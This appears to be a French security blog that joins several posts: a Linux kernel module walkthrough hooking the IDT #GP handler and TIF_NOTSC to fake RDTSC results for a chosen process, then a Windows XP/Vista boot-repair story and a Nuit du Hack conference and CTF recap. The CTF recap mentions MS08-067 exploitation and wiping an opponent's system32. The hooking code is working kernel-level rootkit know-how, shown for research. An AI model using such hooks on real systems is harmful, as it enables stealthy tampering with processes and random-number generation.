Lors du chargement du driver, il suffira de hooker l’IDT et de positionner le flag CR4.TSD. Cependant, cette dernière opération doit être faite sur tous les coeurs. On utilisera donc la macro on_each_cpu().

//Hook the General Protection Fault handler (0x0D)
#define INTERRUPT_VECTOR_TO_HOOK 0x0D

#include <linux/module.h>  /* Needed by all modules */
#include <linux/kernel.h>  /* Needed for KERN_ALERT */
#include <linux/init.h>     // Needed for the macros

#include "../include/defines.h"
#include "hook.h"
#include "device.h"

static int module_load(void)
{
 Hook();
 create_device();

 //Must return 0, otherwise the module is not loaded
 return 0;
}

static void module_unload(void)
{
 delete_device();
 UnHook();
}  

module_init(module_load);
module_exit(module_unload);

/**
 * Hook
 */
void Hook ()
{
 //Get the IDT address (all CPUS use the same)
 P_IDTENTRY_ST pIDT = GetIDTSoft();

 printk(KERN_INFO "interrupt_handler = %08x\n", (u_int32) interrupt_handler);

 //Hook interrupt handler
 HookOneIDT(pIDT, INTERRUPT_VECTOR_TO_HOOK,
            &old_int_handler, (u_int32) interrupt_handler);

 //Hook RDTSC
 on_each_cpu(DisableUserRDTSC, 0, 0);
}

/**
 * Unhook
 */
void UnHook ()
{
 //Unhook RDTSC
 on_each_cpu(EnableUserRDTSC, 0, 0);

 //Unhook interrupt handler
 HookOneIDT(GetIDTSoft(), INTERRUPT_VECTOR_TO_HOOK,
            &new_int_handler2, old_int_handler);
}

Dans mon prototype, je récupère l’adresse de l’IDT en userland dans le Makefile…

IDT_ADDRESS = "0x`grep idt_table /boot/System.map-2.6.28-11-generic
               | cut -d ' ' -f 1`"

… que je passe en paramètre à GCC lors de la compilation avec le flag -D. Le module la récupère comme une constante pré-processeur :

/**
 * Get a pointer to the IDT - the soft way.
 * Works perfectly in VMs, but we either have to hardcode the IDT offset,
 * or read it from userland ('grep idt_table /proc/kallsyms'
 * or 'grep idt_table /boot/System.map').
 */
P_IDTENTRY_ST GetIDTSoft (void)
{
 P_IDTENTRY_ST pIDT = 0;

 pIDT = (P_IDTENTRY_ST) IDT_ADDRESS;

 return pIDT;
}

En userland, il faudra transmettre le PID à hooker au device, ce qui se fait par le code suivant :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <fcntl.h>
#include <sys/ioctl.h>

#include "defines.h"

int main(int ac, char **av)
{

 //int i;
 int fd;
 int pid_to_hook;

 if(ac != 2)
 {
 printf("Usage: set_pid pid\n");
 printf("Set the pid to hook.\n\n");
 exit(0);
 }

 pid_to_hook = atoi(av[1]);

 if(pid_to_hook <= 0)
 {
 fprintf(stderr, "Error, pid must be > 0.\n");
 exit(1);
 }

 //Open the device in order to communicate with the driver
 fd = open(DEVICE_FILE_NAME, O_RDONLY);

 if(fd == -1)
 {
 printf("Error: %s does not exist!\n", DEVICE_FILE_NAME);
 exit(1);
 }

 //Send IOCTLs to the driver to set the pid do hook
 if(ioctl(fd, IOCTL_SET_PID, pid_to_hook))
 {
 fprintf(stderr, "Error setting the pid.\n");
 }
 else
 {
 printf("pid set successfully.\n");
 }

 //Close the device
 close(fd);

}

Enfin, la routine de traitement de l’IOCTL qui sert à récupérer le PID dans le module est relativement simple :

/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
 struct task_struct *task;

 switch(_ioctl_num)
 {
 //Set the PID
 case (IOCTL_SET_PID):

 pid_to_hook = (unsigned int) _ioctl_param;

 break;

 default:
 printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                  "%08x.\n", _ioctl_num);
 }
 return 0;
}

Test

Après avoir compilé le tout, on charge le module :

# insmod module/rootkit.ko
# grep rdtsc_exploit /proc/devices
250 rdtsc_exploit
# mknod /dev/rdtsc_exploit c 250 0

On lance le programme exécutant RDTSC dans un shell à part :

$ exe/rdtsc/rdtsc
Press <Enter> to call rdtsc. Press q to quit.

RDTSC result (edx : eax) = (0000126d : 8c1cc9a2)

RDTSC result (edx : eax) = (0000126d : a38e75be)

Puis on envoie son PID au module avec :

# exe/set_pid/set_pid $(pidof rdtsc)
pid set successfully.

Et on revient au terminal précédent, en constatant que le hook fonctionne bien :

RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)

On n’oubliera pas de décharger le module avec :

# rmmod rootkit
# rm /dev/rdtsc_exploit

Problème avec ArchLinux

En testant l’implémentation précédente avec deux distributions ArchLinux de noyaux 2.6.29 et 2.6.30, j’ai constaté qu’ell ne marchait tout simplement pas. En faisant plusieurs tests, je constate que le handler de #GP est bien hooké, mais RDTSC ne l’est pas du tout car le programme de test affiche toujours des valeurs normales. J’affiche la valeur de CR4.TSD à plusieurs reprises, et je vois que de temps en temps, il repasse à 0, ce qui expliquerait pourquoi RDTSC n’est pas détournée.

Après plusieurs recherches, je tombe sur ce blog, qui pointe du doigt quelques bizarreries du noyau Linux concernant justement le flag TSD. Apparemment, il serait possible de l’activer ou non pour certains processus seulement. Il s’agit du Thread Information Flag TIF_NOTSC définit dans le fichier arch/x86/include/asm/thread_info.h du noyau. Ce flag est plus ou moins l’équivalent du flag TSD, mais dans le contexte de chaque processus. Il est possible de le définir avec l’appel système prctl en utilisant l’option PR_SET_TSC. La valeur PR_TSC_ENABLE revient à positionner TSD = 0, tandis que PR_TSC_SIGSEGV est équivalent à TSD = 1.

Ces flags existent déjà dans les noyaux 2.6.28 d’Ubuntu 9.04 ; je n’ai pas encore bien saisi pourquoi ceuxi-ci sont effectivement appliqués sur ArchLinux. Le blog cité précédemment parle de l’option de configuration CONFIG_SECCOMP du noyau, présente sur ArchLinux, mais visiblement désactivée ia le flag TIF_SECCOMP qui vaut 0 pour tous les processus. Je vais continuer mes recherches de ce côté… Si toutefois vous avez des explications, je suis preveur .

Implémentation 2

En attendant, il reste tout de même effectuer le hook de RDTSC. Il suffit de positionner le flag TIF_NOTSC du processus en question à PR_TSC_SIGSEGV. Cela peut se faire en appelant prctl, mais cette technique n’est pas vraiment convenable car un hook se doit d’être extérieur au processus. La technique consiste donc à émuler le fonctionnement de cet appel système au sein de notre module. Il nous suffit de parcourir la liste chainée des processus, d’isoler celui qui a le bon PID, et à positionner son flag. Cela revient à modifier la fonction my_ioctl() comme ceci :

/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
   struct task_struct *task;

   switch(_ioctl_num)
   {
      //Set the PID
      case (IOCTL_SET_PID):

         pid_to_hook = (unsigned int) _ioctl_param;
         printk(KERN_INFO "rdtsc_exploit: pid_to_hook = "
                          "%d.\n", pid_to_hook);

         for_each_process(task) {
            if(task->pid == pid_to_hook){
               test_and_set_ti_thread_flag(task_thread_info(task), TIF_NOTSC);
               printk("TIF_NOTSC set for process %d\n", task->pid);
            }
         }

      break;

      default:
         printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                          "%08x.\n", _ioctl_num);
   }
   return 0;
}

La macro for_each_process() définie dans linux/sched.h permet d’itérer très simplement sur les threads du système. On utilise la fonction test_and_set_ti_thread_flag() afin de positionner le flag TIF_NOTSC du thread en question. On notera qu’il n’y a même plus besoin de modifier à la main CR4 à l’initialisation.

Sources

Téléchargez les sources

Les sources incluent l’implémentation 2, sachant que celle-ci fonctionne aussi bien sur les deux distributions que j’ai testées (Ubuntu et ArchLinux). Les lignes spécifiques à la 1ère implémentation sont commentées, donc vous pouvez toujours jouer avec et voir le résultat que vous obtenez.

Pour compiler, invoquez simplement make à la racine de rdtsc_exploit. Si jamais cela ne compile pas, éditez le fichier module/Makefile, et indiquez le bon chemin vers votre fichier /boot/System.map. Vérifiez également que le fichier module/handler.S a bien un S majuscule concernant son extension.

Les fichiers fournis sont organisés comme ceci :

• module/ contient les sources du module
• exe/ contient deux sources d’exécutables :
  • rdtsc : programme de test exécutant RDTSC à chaque appui sur une touche. Il contient aussi un fichier de test du noyau, disable-tsc-test.c, que j’ai jugé intéressant de garder pour des tests. A compiler séparément.
  • set_pid : programme prenant en paramètre le PID de rdtsc et l’envoyant au module par ioctl
• scripts/ contient trois scripts permettant d’automatiser le chargement du module et la création du device. load_hook.sh et unload_hook.sh appellent en réalité load.sh, capable de charger/décharger un module et créer/détruire son device.

Applications

Pour terminer, voici quelques possibilités offertes par le hook de RDTSC :

• Empoisonnement des générateurs de nombres pseudo-aléatoires : Certaines applications utilisent RDTSC comme source d’aléa, pour générer des valeurs pseudo-aléatoires qui peuvent par exemple être utilisées pour la génération de clé de chiffrement. En forçant à RDTSC à renvoyer des valeurs bien précise, on peut injecter des valeurs bien précises dans l’algorithme de génération et pouvoir prédire plus facilement son résultat.
• Anti-anti-debuging : Comme dit au premier paragraphe, une technique d’anti-debug consiste à utiliser RDTSC pour estimer le temps passé entre deux instructions et le comparer à une valeur seuil. Une technique d’anti-anti-debug peut donc être de hooker RDTSC et de retourner des valeurs plausibles à l’application, en masquant le fait que celle-ci est en train de se faire déboguer. C’est précisément ce que fait le plugin Olly Advanced d’OllyDbg.
• Communication offusquée entre une application et un driver : Puisqu’avec cette technique RDTSC est exécutée en ring 3 et provoque une exception #GP en ring 0, c’est un moyen de donner la main à un driver afin qu’il effectue des opérations « ni vu ni connu », dans le sens ou il n’y a aucun appel explicite vers fonction noyau dans l’application ring 3.

Conclusion

Cette technique n’est pas nouvelle, mais encore assez peu connue (enfin sans doute pas des reversers :p). Cependant, elle peut se révéler très intéressantes dans de multiples occasions. Si je devais donner un conseil, ce serait d’éviter de l’utiliser en ring 3, pour deux raisons principales de sécurité :

• Il existe des générateurs aléatoires reconnus comme fiables, il est donc préférable de les utiliser plutôt que de se faire son propre algorithme.
• L’OS fournit généralement des appels systèmes permettant d’appeler RDTSC en ring 0 et de retourner sa valeur (cf NtQueryPerformanceCounter() sous Windows). Comme l’appel est en ring 0, la méthode de hook décrite précédemment ne marche plus.

Références

• The Art of Unpacking, Marc Vincent Yason, BlackHat 2007
• Intel Software Devloper’s Manuals 2B, 3A
• Understanding the Linux kernel, 3rd edition, Daniel Pierre Bovet, Marco Cesati, O’Reilly
• Nibbles – SMP : IDT et GDT, j0rn
• Linux Device Drivers, 3rd edition, Jonathan Corbet, Alessandro Rubini, Greg Kroah-Hartman, O’Reilly
• CR0’s blog : Time-stamp counter disabling oddities in the Linux kernel
• Man prctl

PR_SET_TSC

Le décor

Il y a environ 2 ans, j’achète un laptop. Vista est préinstallé dessus, et la machine n’a qu’1 Go de RAM et un AMD Turion x2 pas très véloce. Bref, je ne vous fais pas de dessin : Vista est sans surprise extrèmement lent. Je décide donc d’installer un XP. Pour éviter les problèmes avec un éventuel retour SAV de la machine, je préfère garder Vista ; je réduis donc sa partition à 20 Go et installe XP sur le reste. Et je me dis que je l’utiliserai sans doute occasionnelement…

Lors de l’installation, XP détecte Vista, et s’installe dans une partition étendue qu’il crée automatiquement. Pourquoi une étendue et pas une principale ? Seul Microsoft le sait… Une fois XP installé, celui-ci a viré le boot loader de Vista. Il faut donc que j’utilise Vista Boot Pro afin de mettre en place un dual boot Vista – XP. Je vous passe les détails, ce n’est pas le but de cet article.

Enfin, je me décide à installer une Ubuntu. Je rétrécis donc XP et installe Ubuntu dans des partitions à la suite de celle contenant XP. Grub s’installe sur le MBR et me permet alors de mettre en place mon triple boot. En fait, Grub détecte les deux Windows comme une seul entrée. Au boot, il me propose le choix entre Linux et les Windows. Si je choisis Windows, le boot loader de Vista prend la relève et me donne le choix entre booter Vista ou XP. Ouf !

Pour résumer, mon disque dur est donc partitionné comme suit :

• Une partition primaire contenant Vista
• Une partition étendue avec :
  • XP
  • Linux

La revanche de Vista

Cette config a très bien marché pendant près de 2 ans. Jusqu’au jour ou je me rend compte qu’en fait, je n’ai jamais utilisé Vista, alors qu’il m’utilise tout de même 20 Go sur mon disque. Comme la garantie du laptop est de toutes façon arrivée à terme, je me dis que je ne risque rien à le supprimer. Ni une ni deux ; je supprime la partition avec GParted, sous Linux. Je reboote. Et là, c’est le drame. XP ne boote plus, j’obtiens le message « Invalid device requested« . Il faut croire que Vista a emporté XP dans sa tombe…

Le combat

En cherchant un peu sur le Web, je m’aperçois que cette erreur viendrait de Grub. Je vérifie l’entrée correspondant à XP (en tapant « e » au menu de Grub lors du boot), qui est toujours valide. En effet, XP étant au début de la partition étendue, Grub la nomme (hd0,4) (équivalent de /dev/sda5). D’où vient l’erreur ?

Je continue à chercher, et je m’aperçois que Windows XP n’a apparemment pas été prévu pour pouvoir booter sur une partition étendue. La question que je me pose alors est : dans ce cas, pourquoi bootait-il lorsque Vista était encore là ? En me documentent sur le multiboot Vista – XP, j’apprends que lorsqu’un tel multiboot est mis en place, c’est Vista qui se charge de booter XP. Ce qui expliquerait donc pourquoi XP ne boote plus désormais…

La solution se dessine : il faudrait que je « sorte » ma partition XP de ma partition étendue, pour en faire une primaire. Peut-être que de cette façon, XP sera capable de booter tout seul comme un grand. Sous Linux, j’utilise donc GParted pour copier ma partition XP en dehors de la partition étendue (à la place de l’ancien Vista). Après pas mal de temps, l’opération se termine avec succès. Tant qu’à faire, je marque la partition comme bootable. Je reboote, et demande à Grub de booter désormais sur (hd0,0), c’est à dire la nouvelle partition. Cette fois-ci, nouvelle erreur : « NTLDR is missing« .

NTLDR est le boot loader de XP, et il semble introuvable. Je glane encore quelques infos sur le Web. Il semblerait qu’il soit possible de remédier à ce problème avec la console de récupération du CD de XP, en utilisant l’utilitaire fixboot. Je le fais, mais cela n’améliore rien. Je recommence, en rajoutant cette fois-ci un coup de fixmbr. Là, c’est encore pire : Grub ne démarre même plus, car Windows a écrasé le MBR (logique), mais le processus de boot va encore moins loin car j’obtiens une erreur « Invalid partition table« . De mieux en mieux…

Je commence par réinstaller Grub, en utilisant un live CD d’Ubuntu et l’utilitaire grub-install, qui répare le MBR. Je peux alors booter à nouveau sous Linux. Je monte ma partition Windows défectueuse et liste les fichiers situés à la racine. Dans /dev/sda1 (C:), je ne vois aucun fichier ntldr. Ni de boot.ini, ni de ntdetect.com… Pourtant, ces fichiers sont vitaux au démarage de Windows ! J’en conclus donc que Vista avait du déplacer ces fichiers dans sa partition (vu qu’il boote XP lui-même), et qu’ils ont été effacés avec le reste de la partition. Heureusement, j’ai un autre XP qui fonctionne sur une autre machine. J’utilise donc une clé USB pour copier les fichiers ntldr, boot.ini et ntdetect.com sur ma partiton XP defectueuse. Au passage, je vérifie que le boot.ini est correct. Je repasse ensuite un coup de fixboot avec la console de récupération XP. Je reboote, et…

Le bout du tunnel

Yeah, XP démarre ! Après un check des disques, tout semble fonctionner… Du moins pendant quelques secondes. Rapidement, plusieurs services se mettent à planter. En regardant de plus près, je commence à comprendre pourquoi : les lettres des lecteurs ont changé. En effet, lorsque j’avais installé XP pour la 1ère fois, il s’était attribué la lettre F, car il était sur la partition étendue. Comme cette fois-ci je boote sur une partition primaire (copie de l’ancienne), et que Windows attribue « bêtement » les lettres dans l’ordre des partitions sur le disque, cette partition se retrouve nommée C. Seul problème : tous les programmes, raccourcis et la base de registre pointent encore vers F…

La solution est donc de renommer les lecteurs, en inversant C et F. Cependant, l’utilitaire de gestion des disques Windows refuse, car la partition C est une partition système. Quasiment désespéré, je reparcours le Web en recherche d’une méthode miracle pour renommer de force cette partition… Et je finis par en trouver une, que voici !

Pour résumer, il s’agit d’inverser deux clés dans la base de registre. Elles se trouvent dans HKEY_LOCAL_MACHINESYSTEMMountedDevices. Dans mon cas, je dois inverser DosDevicesC: et DosDevicesF:.  Je le fais, et je reboote…

Ca marche ! Au reboote, F: est bien ma partition système primaire, et C: est devenu l’ancienne partition. Mon XP est désormais stable, il pète de nouveau la forme… Je supprime C et à reboote une dernière fois pour m’assurer que tout roule, et c’est le cas. Encore une victoire de canard

Morales

Les leçons à tirer de cette histoire sont :

• Méfiez vous comme la peste du multiboot Vista – XP, surtout quand vous supprimez Vista.
• N’installez pas Windows dans une partition étendue.
• Ayez toujours un CD de Windows XP sous la main, car la console de restauration est bien pratique.
• Même chose concernant les live CD de Linux : GParted est un outil gratuit incontournable qui pourra vous sauver la mise même si tous vos OS sont inutilisables. En plus, vous pourrez aller sur Internet avec et chercher de la doc…
• Sauvegardez votre ntldr, boot.ini et ntdetect.com pour les avoir à disposition au cas où (ils ne font que quelques ko).
• Changer la lettre d’une partition système est possible… mais ne changera pas les références gardées en dur par tous vos programmes. Ne le faites que si la lettre de votre partition a changée toute seule !

Sur ce, j’espère avoir aidé du monde !

Conférences

Le programme était aussi riche qu’intense : une douzaine de conférences se déroulant sur deux plateformes ; il y avait donc toujours deux confs en simultané. L’inconvénient était toutefois qu’on ne pouvait assister qu’à la moitié des confs… Pour ma part, j’ai alterné entre les deux plateformes, et j’ai en plus du finaliser quelques slides donc je n’ai pas pu en profiter pleinement. Au final, voila ce à quoi j’ai assisté :

• SCOW – ShellCoding On Windows : Heurs présente son nouvel outil permettant de générer un shellcode générique sous Wndows à partir d’un simple programme C. Un outil permettant de gagner un temps fou lors de la conception d’un exploit, avec en prime une polymorphisation du shellcode en question.
• GoRing0 : Présentée par moi-même. Cette conférence se veut accessible à tous ceux qui s’intéressent de près ou de loin au noyau et au fonctionnement des processeurs x86, en particulier le système de privilèges (ring). J’y présente dans un premier temps toutes les bases nécessaire pour comprendre le coeur de la conférence : un rootkit que j’ai développé et qui permet de passer un thread en ring 0, le contexte étant préservé.
• Drive by Pharming : Abc528 présente une faille XSRF des routeurs de type box (Alicebox, Livebox…) permettant de modifier leur configuration depuis une page HTML hébergée sur un site quelconque.
• XeeK : Ma deuxième conf de la soirée. Je présente XeeK, un projet dont j’ai déjà parlé ici, mais que je n’ai pas encore eu le temps de finir. Il s’agit d’un framework visant à exploiter les failles XSS très rapidement et simplement.
• Lockpicking : Cocolitos et Mr Jack nous démontrent qu’aucun verrou n’est vraiment sûre, en crochetant différents types de serrures, les unes à la suite des autres. On y apprend entre autres qu’on peut crocheter certaines serrures avec un bout d’essuie glace, et ouvrir un cadenas avec une canette. Même certaines serrures réputées haute sécurité y passent.

Dommage, j’ai loupé la conférences de Virtualabs sur les framework Web next gen, qui pourraient fortement m’intéresser pour poursuivre XeeK.

Sinon, si je devais donner mon opinion sur les 3 confs que j’ai vues, je dirai qu’elles étaient à la hauteur de mes attentes et qu’elles valaient vraiment le coup d’oeil, sauf une : le Drive By Pharming. Soyons clairs : je respecte tous les conférenciers ainsi que les présentations qu’ils ont données. Mais je pense que cette conférence, bien que s’adressant à des débutants, manquait de préparation, de contenu (elle a duré 10 min) et contenait des erreurs assez flagrantes. Je reste enthousiaste à l’idée d’accueillir des confs de tous les niveaux, mais je pense toutefois que les conférenciers ne devraient pas hésiter à approfondir un peu plus leurs sujets. Enfin, pour ce qui est de la conférence sur le lockpicking, bien que je n’ai aucune expérience en la matière, j’ai vraiment adoré.

Slides

Voici les slides de mes conférences ainsi que les sources/binaires que je publie :

• GoRing0 : Slides - Binaires - Sources
• XeeK : Slides

Pour les autres, allez sur le site officiel ou contacter directement les conférenciers.

Challenge

Grosse nouveauté de cette année : le challenge principal est un Capture The Flag. Le principe est simple : chaque équipe possède quelques serveurs, leur but étant de les protéger et d’attaquer ceux des autres. En gros :

• Règle n°1 : pas d’attaques physiques.
• Règle n°2 : pas d’attaques sur le serveur du staff.
• Règle n°3 : tout le reste est permis. Même  le déni de service.

Pour pimenter l’affaire, aucune information n’est donnée au préalable, pas même les IP de nos propres machines. Pas de DHCP. Il nous faut alors sniffer le traffic pour nous apercevoir qu’une machine emmet en broadcast. Nous nous attribuons donc des IP statiques sur la même plage, et configurons la machine qui broadcast comme passerelle. A partir de là, nous découvrons le serveur de monitoring qui contient les résultats en temps réel su challenge avec le classement des équipes, ainsi que la liste de toutes les machines. Autant dire que Nmap a bien tourné…

On nous fait parvenir les logins/pass de notre machine Windows, mais pas ceux de celle sous Linux. Prétexte:  ils sont facile à trouver. Je m’acharne donc à bruteforcer avec Hydra (en l’ayant recompilé au passage avec le support pour SSH), mais rien n’y fait. Pierz se penche sur Windows, fait tourner Metasploit, et découvre que les machines sont vulnérables au MS08_067. En quelques secondes, il roote une machine adverse et récupère les hashs à valider. Le score décolle enfin ! Décidé à faire baisser le score des autres équipes, j’exploite la vuln à mon tour et en profite supprimer le contenu de c:\Windows\system32 ainsi que boot.ini et autoexec.bat, puis je lance un reboot. Cependant, je n’avais pas prévu que Windows restaurerai ces 2 fichiers et que la machine booterait toujours. Dommage…

Pendant ce temps, sh4ka et Ivan s’acharnent sur notre Windows en remote desktop. Ivan se fait plaisir sur les crackmes fournis et les reverse rapidement. Kal0n est quant à lui sur un exploit PhpMyAdmin. Avec Sh4ka, je me penche sur le Web. Cependant, il y a un imprévu : le challenge Web prévu est inaccessible car mal configuré. Nous allons alors sur le serveur commun que HZV a laissé pour que même les non participants puissent s’entraîner. Nous trouvons rapidement une include locale, une injection SQL, une faille par authentification faible via cookies et une XSS qui n’a d’ailleurs pas été validé (non prévue à la base). Pendant ce temps, Ivan se penche sur un crackme en kernel, qui lui donne du fil à retordre mais qui fini par tomber.

Aux environs de 5h, on finit par nous donner les accès Linux. Dépités, nous constatons que le login/pass n’était en effet pas bien dur à trouver (freeman:team2). En supposant que la combinaison soit similaire sur les autres machines, nous parvenons à nous connecter chez les autres équipes. Mais nous voyons que tout a été chrooté dans tous les sens, et qu’au final n’avons accès qu’à cat, ls, cs, mv, mkdir et python. Nous découvrons plusieurs binaires suid root, dont un vulnérable à un buffer overflow. L’ASLR étant activé, l’exploitation via  ret onto ret est toujours faisable mais comme nous n’avons pas gdb sur la machine distante, et qu’il commence à se faire tard (ou tôt, question de point de vue), nous préférons nous arrêter là. En plus, nous sommes une des seules équipes restantes…

Remise des prix

Vers 6h, Crashfr annonce les résultats. Nous sommes premiers ! Jamais nous n’aurions pensé gagner, car nous nous attendions à affronter Dvrasp, Fozzy et Artyc… Mais en fait, il étaient trop occupés au bar

Crashfr remet les prix aux équipes : des certifications CEH pour les 1ers, et des livres pour les deuxièmes et troisièmes. Sans oublier bien sûr les super trophées en verres, réalisés pour l’occasion. Pour ma part, comme je serai bientôt consultant chez Sysdream, je pense plutôt convertir ce CEH en LPT (Licensed Penetration Tester), une autre certification d’EC-Council. En tout cas, si j’ai particupé à cette nuit, c’était uniquement pour le fun. Comme d’habitude, la NDH est de mieux en mieux, et son ampleur augmente au fil du temps. A quand une NDH rivalisant avec le Black Hat et le Defcon ? En plus, c’était ma dernière NDH en tant que challenger, vu que l’année prochaine je ferai partie du staff et je pourrai à mon tour goûter aux joies de voir tout le monde s’arracher les cheveux sur un challenge dont je suis l’auteur

See you next year !